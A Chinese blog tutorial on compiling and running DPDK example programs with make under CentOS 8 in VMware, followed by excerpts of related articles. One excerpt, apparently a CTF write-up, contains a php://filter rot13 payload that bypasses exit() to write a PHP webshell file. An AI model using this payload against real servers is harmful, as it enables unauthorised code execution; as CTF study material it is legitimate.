DPDK使用make编译并运行示例程序

       环境:
       VMware® Workstation 16 Pro 16.2.4
       虚拟机系统:Centos 8
       DPDK版本:stable-20.11.10

       下载源码后,使用meson和ninja编译完成、配置并挂载大页、内核和VFIO设置完成,在dpdk源码目录下的build/example中有可以直接运行的程序:
在这里插入图片描述
       但是这是使用meson和ninja编译的。使用make编译可以在dpdk源码目录下:

/home/wls/dpdk-stable-20.11.10/examples

在这里插入图片描述
这里有源码自带的例子,可以自己使用make编译并运行,也可以自己写程序放在这个目录下编译。
       这里编译源码自带的helloworld程序。开头makefile变异就遇到问题:
在这里插入图片描述
其中makefile中是这样写的:

# Build using pkg-config variables if possible
ifneq ($(shell $(PKGCONF) --exists libdpdk && echo 0),0)
$(error "no installation of DPDK found")
endif

       意思就是libdpdk找不到,网上找答案说使用命令:pkg-config libdpdk --libs找,结果没找到:

Package libdpdk was not found in the pkg-config search path.
Perhaps you should add the directory containing `libdpdk.pc'
to the PKG_CONFIG_PATH environment variable
Package 'libdpdk', required by 'virtual:world', not found

       这里解决办法是设置PKG_CONFIG_PATH环境变量为:/usr/local/lib64/pkgconfig/,即执行:

export PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig/

       然后问题解决。
       如果遇到:

Please define RTE_SDK environment variable

       这个问题,解决办法也是一样,设置PKG_CONFIG_PATH环境变量。

编译共享库:

1.make
2.cc -O3 -I/usr/local/include -include rte_config.h -march=native  -DALLOW_EXPERIMENTAL_API main.c -o build/helloworld-shared  -Wl,--as-needed -L/home/wls/dpdk-stable-20.11.10/build/lib -lrte_node -lrte_graph -lrte_pipeline -lrte_table -lrte_pdump -lrte_port -lrte_fib -lrte_ipsec -lrte_vhost -lrte_stack -lrte_security -lrte_sched -lrte_reorder -lrte_rib -lrte_regexdev -lrte_rawdev -lrte_power -lrte_member -lrte_lpm -lrte_latencystats -lrte_jobstats -lrte_ip_frag -lrte_gso -lrte_gro -lrte_eventdev -lrte_efd -lrte_distributor -lrte_cryptodev -lrte_compressdev -lrte_cfgfile -lrte_bpf -lrte_bitratestats -lrte_bbdev -lrte_acl -lrte_timer -lrte_hash -lrte_metrics -lrte_cmdline -lrte_pci -lrte_ethdev -lrte_meter -lrte_net -lrte_mbuf -lrte_mempool -lrte_rcu -lrte_ring -lrte_eal -lrte_telemetry -lrte_kvargs 
3.ln -sf helloworld-shared build/helloworld

       编译完成后又遇到问题:
[root@localhost helloworld]# ./build/helloworld
./build/helloworld: error while loading shared libraries: librte_eal.so.21: cannot open shared object file: No such file or directory

       说动态库找不到,解决办法是设置共享库加载路径:

export LD_LIBRARY_PATH=/home/wls/dpdk-stable-20.11.10/build/lib/:$LD_LIBRARY_PATH

       设置完成后,如果没有加载vfio驱动和绑定网卡,需要先加载vfio驱动和绑定网卡。
       查看是否加载vfio驱动:lsmod|grep vfio
       加载vfio驱动:modprobe vfio-pci
在这里插入图片描述
       这里我第一次加载vfio驱动是失败了的,因为我同时在使用windows的WSL和虚拟机,控制面板-》程序-》启用或关闭Windows功能中,虚拟机平台这个选项我是勾上的,不然启动不了WSL:
在这里插入图片描述
       但是要加载VFIO这里是不能勾选的,为了DPDK也只能委屈下我的WSL了。而且虚拟机设置-》处理器-》虚拟化引擎这三个选项都是要勾选的,不然加载vfio会失败。
在这里插入图片描述

       vfio加载成功后然后需要挂载网卡,运行dpdk-devbind.py --status查看网卡状态:
在这里插入图片描述
       这里我是要挂载ens192网卡,所以要把ens192 down掉,ifconfig ens192 down,再次查看已经down掉:
在这里插入图片描述
       然后绑定网卡:dpdk-devbind.py -b vfio-pci 0000:0b:00.0
       运行程序,成功:
在这里插入图片描述
       helloworld和子目录build内容如下:
在这里插入图片描述
       没有绑定网卡也可以运行,运行结果是这样的:
在这里插入图片描述
       网卡解绑命令:rmmod vfio-pci

       其中DPDK环境配置、环境变量配置、编译命令参考以下文章:
       https://www.jianshu.com/p/61c855582921
       https://www.cnblogs.com/studywithallofyou/p/17645767.html

       欢迎交流!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861424.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker搭建mongo分片集群

1、mongo分片集群 MongoDB分片集群是一种可扩展的数据库架构,用于处理大量数据和高并发访问。它将数据分成多个分片,并将这些分片分布在多个服务器上,从而实现数据的平衡存储和并行处理 。 通过使用MongoDB的分片集,可以实现数据…

NestJs 使用 RabbitMQ

NestJs 使用 RabbitMQ 既然是使用 RabbitMQ 那先不管其他的 把 RabbitMQ 装上再说 RabbitMQ 安装 这里直接找他们官网就行 Installing RabbitMQ | RabbitMQ 这里我们选择使用 docker 安装 快捷方便 这里直接参考: https://juejin.cn/post/719843080185010591…

鸿蒙面试心得

自疫情过后,java和web前端都进入了冰河时代。年龄、薪资、学历都成了找工作路上躲不开的门槛。 年龄太大pass 薪资要高了pass 学历大专pass 好多好多pass 找工作的路上明明阳关普照,却有一种凄凄惨惨戚戚说不清道不明的“优雅”意境。 如何破局&am…

宿主机无法通过ip连接wsl2解决方案

文章目录 原因排查网络模式win11防火墙关闭wsl ubuntu防火墙 如果之前能连接现在连接不上可以参考该方案 原因排查 网络模式win11防火墙(win11新增了Hyper-V防火墙)wsl2 ubuntu防火墙 网络模式 wsl2的默认网络模式是NAT&#xff0c;建议修改为镜像模式。在C:\Users\<User…

【深度学习】【Lora训练3】StabelDiffusion,Lora训练过程,秋叶包,Linux,SDXL Lora训练

为了便于使用&#xff0c;构建一个docker镜像来使用秋叶包。2024年6月26日。 docker run -it --gpus all -v /ssd/xiedong:/datax --net host kevinchina/deeplearning:pytorch2.3.0-cuda12.1-cudnn8-devel-xformers bashgit clone --recurse-submodules https://github.com/A…

408计算机网络--物理层

一、物理层概述 物理层是干嘛使得&#xff1f; 物理层解决如何在连接各种计算机的传输媒体上传输数据比特流&#xff0c;而不是指具体的传输媒体。 物理层主要任务是确定与传输媒体接口有关的一些特性。定义标准可以理解为插排上的两孔三孔 机械特性&#xff1a;定义物理连接…

Rill Data:实时数据分析的未来

欢迎来到 Rill Rill是从数据湖到仪表板的最快路径。 rilldata 与大多数 BI 工具不同&#xff0c;Rill 带有自己的嵌入式内存数据库。数据和计算位于同一位置&#xff0c;查询以毫秒为单位返回。 因此&#xff0c;您可以即时透视、切片和深入研究数据。 下载 Rill 开始建模数…

标签接口开发(富含完整CRUD开发流程)

文章目录 1.easyCode生成CRUD1.生成代码2.查看代码3.调整代码1.SubjectLabelDao.xml发现生成的select语句不带逗号&#xff01;&#xff01;&#xff01;1.解决方法&#xff1a;2.entity.java.vm3.dao.java.vm4.Mapper.xml.vm 2.重新生成代码3.SubjectLabelDao.java 删除Pageab…

【RedHat】使用VMware Workstation创建配置RedHat操作系统

目录 &#x1f31e;1.前言 &#x1f31e;2. 使用 VMware Workstation 创建配置RedHat &#x1f33c;2.1 VMware Workstation 创建虚拟机 &#x1f33c;2.2 安装RedHat 7.6 &#x1f30a;2.2.1 添加光盘 &#x1f30a;2.2.2 开始安装操作系统 &#x1f30a;2.2.3 系统初始…

从基础到前沿:PLM产品生命周期管理系统在物料管理中的应用

在当今竞争激烈的市场中&#xff0c;制造型企业必须不断寻求提高效率和降低成本的方法。物料管理作为企业内部物流的核心环节&#xff0c;对于控制成本、提高生产效率、加快产品上市时间具有至关重要的作用。本文将探讨物料管理的重要性&#xff0c;以及如何通过三品产品生命周…

Python数据可视化-地图可视化

1.首先绘制实现数据可视化的思维导图 具体要实现什么功能-怎么处理&#xff0c;先把思路写好 数据来源&#xff1a; 爬取的数据 运行结果&#xff1a; 部分代码&#xff1a; 完整代码请在下方↓↓↓&#x1f447;获取 转载请注明出处&#xff01;

75101A 1553B总线测试模块

75101A 1553B总线测试模块 75101A 1553B总线测试模块是单通道多功能&#xff0c;符合CPCI/PXI总线的标准3U尺寸模块&#xff0c;可同时用作BC、RTs和BM&#xff0c;其中BM具有比特误码、highbit、lowbit、highword、lowword、校验错误、消息错误检测以及最大256M字节的数据捕…

新能源革命风起云涌:创新科技引领可持续发展新篇章

随着全球气候变化和环境问题日益严峻&#xff0c;新能源革命正以其不可阻挡的势头&#xff0c;席卷着世界的每一个角落。 创新科技在这场革命中发挥着至关重要的作用&#xff0c;它不仅是新能源开发利用的引擎&#xff0c;更是推动可持续发展的关键力量。 新能源革命的核心在于…

ubuntu如何切换到root用户

1、主要指令&#xff1a; sudo -i su root 2、示例 3、其他说明 在Ubuntu&#xff08;以及大多数其他基于Linux的操作系统中&#xff09;&#xff0c;切换到root用户通常意味着获得了对系统的完全访问权限。这种权限允许执行以下操作&#xff08;但不限于这些&#xff09;…

Spring AI 实现调用openAi 多模态大模型

什么是多模态? 多模态(Multimodal)指的是数据或信息的多种表现形式。在人工智能领域,我们经常会听到这个词,尤其是在近期大型模型(如GPT-4)开始支持多模态之后。 模态:模态是指数据的一种形式,例如文本、图像、音频等。每一种形式都是一种模态。多模态:多模态就是将…

ctfshow 新春欢乐赛 web

web1 <?phphighlight_file(__FILE__); error_reporting(0);$content $_GET[content]; file_put_contents($content,<?php exit();.$content);?contentphp://filter/string.rot13|<?cuc flfgrz(yf /);?>|/resourceshell.php绕过死亡exit 但是我发现个问题就是…

Fragment与ViewModel(MVVM架构)

简介 在Android应用开发中&#xff0c;Fragment和ViewModel是两个非常重要的概念&#xff0c;它们分别属于架构组件库的一部分&#xff0c;旨在帮助开发者构建更加模块化、健壮且易维护的应用。 Fragment Fragment是Android系统提供的一种可重用的UI组件&#xff0c;它能够作为…

基于51单片机密码锁—六位密码LCD1602显示

基于51单片机密码锁设计 &#xff08;仿真&#xff0b;程序&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.密码为六位数字&#xff0c;有键按下&#xff0c;LCD1602就会显示出字符 “*”&#xff1b; 2.当用户键入正确密码后&#xff0c;再按确认键&a…

是时候系统性的的学习那些开发中必备的软件了!

大家好&#xff0c;我是 王有志&#xff0c;一个分享硬核 Java 技术的金融摸鱼侠&#xff0c;欢迎大家加入 Java 人自己的交流群“共同富裕的 Java 人”。 最近小组内心来了两个实习生&#xff0c;各方面都很不错&#xff0c;基础知识扎实&#xff0c;勤奋好学&#xff08;卷&…

记一次 APK 逆向动静调试 + so 动态链接库分析

0x00 前言&#xff1a; 好久没有做过安卓逆向了&#xff0c;最近重新系统地学习了安卓逆向技术。找到了一道较为典型的逆向分析题来练手&#xff0c;以锻炼动静态分析和动态链接库分析的基本能力。在这里记录基本的分析流程手法。 0x01 逆向分析&#xff1a; 一、使用 Genym…